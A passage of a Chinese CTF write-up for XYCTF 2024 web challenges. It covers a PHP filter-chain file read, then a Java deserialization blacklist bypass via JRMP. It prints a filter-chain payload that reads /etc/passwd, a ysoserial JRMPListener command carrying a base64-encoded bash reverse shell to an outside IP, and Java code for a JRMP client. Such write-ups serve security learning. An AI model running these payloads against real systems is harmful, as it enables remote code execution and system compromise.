.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

image.png

题目溯源:
1.hxp 2021 counter
2.2023极客大挑战 ezlfi

baby_unserialize

考点:Java反序列化+Jrmp绕过黑名单

发现反序列化的点
image.png
URLDNS链验证
image.png

说明入口类 source Hashmap可用
该处存在Java反序化漏洞点,而且出网

welcome to this fantastic tool  
Try this one  
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l  (you deserialize me down, I shall become more powerful than you can possibly imagine)
{http://irrfzuahtu.dgrh3.cnhttp://irrfzuahtu.dgrh3.cn}  
Fin!

直接打CC链,发现对payload base64解码后对关键词做了关键字过滤

TempleteImport 类被禁 考虑绕过Sink执行

Error occurred:Class name not accepted:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

黑盒审计:猜测环境中是更为 通用性 的 CC3.2版本
简单试了一下其他1,3,5,7,11,CCK1没有成功
这里可以逐一对恶意类的过滤探索
可以像拼图一样 将Source,Gadget,Sink进行连接
在本地可以搭建环境用CodeQL辅助分析,但是是黑盒测试我们无法判断它具体是什么逻辑,可能花费的时间会特别多,这也不像新生赛会考的
所以我们换个思路:
这里直接用Jrmp绕过黑名单限制
开个Jrmp恶意服务器 做中间代理进行跳板绕过(类似二次反序列化)
用CC3 做恶意荷载

java-cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections3 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image.png

本意是想直接用

ysoserial

进行 Client的配置
但是对yso生成的Client做了 关键词过滤
所以直接写个Jrmp client端生成:

importsun.rmi.server.UnicastRef;importsun.rmi.transport.LiveRef;importsun.rmi.transport.tcp.TCPEndpoint;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.rmi.server.ObjID;importjava.rmi.server.RemoteObjectInvocationHandler;importjava.util.Base64;publicclassJrmp{publicstaticvoidmain(String[] args)throwsException{ObjID id =newObjID();TCPEndpoint te =newTCPEndpoint("23.94.38.86",12345);LiveRef liveRef =newLiveRef(id, te,false);UnicastRef ref =newUnicastRef(liveRef);RemoteObjectInvocationHandler obj =newRemoteObjectInvocationHandler(ref);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr); 
        oos.writeObject(obj); 
        oos.close();//Jrmp client to try trybyte[] byteArray = barr.toByteArray();String res =Base64.getEncoder().encodeToString(byteArray);System.out.println(res);newObjectInputStream(newByteArrayInputStream(byteArray)).readObject();}}

image.png
反弹shell后在环境变量中拿到flag
image.png
侥幸拿了一血

标签: CTF Web 笔记

本文转载自: https://blog.csdn.net/qq_39947980/article/details/138249895
版权归原作者 J1rrY_ 所有, 如有侵权,请联系我们删除。

“2024 XYCTF Web 方向 wp 全解”的评论:

还没有评论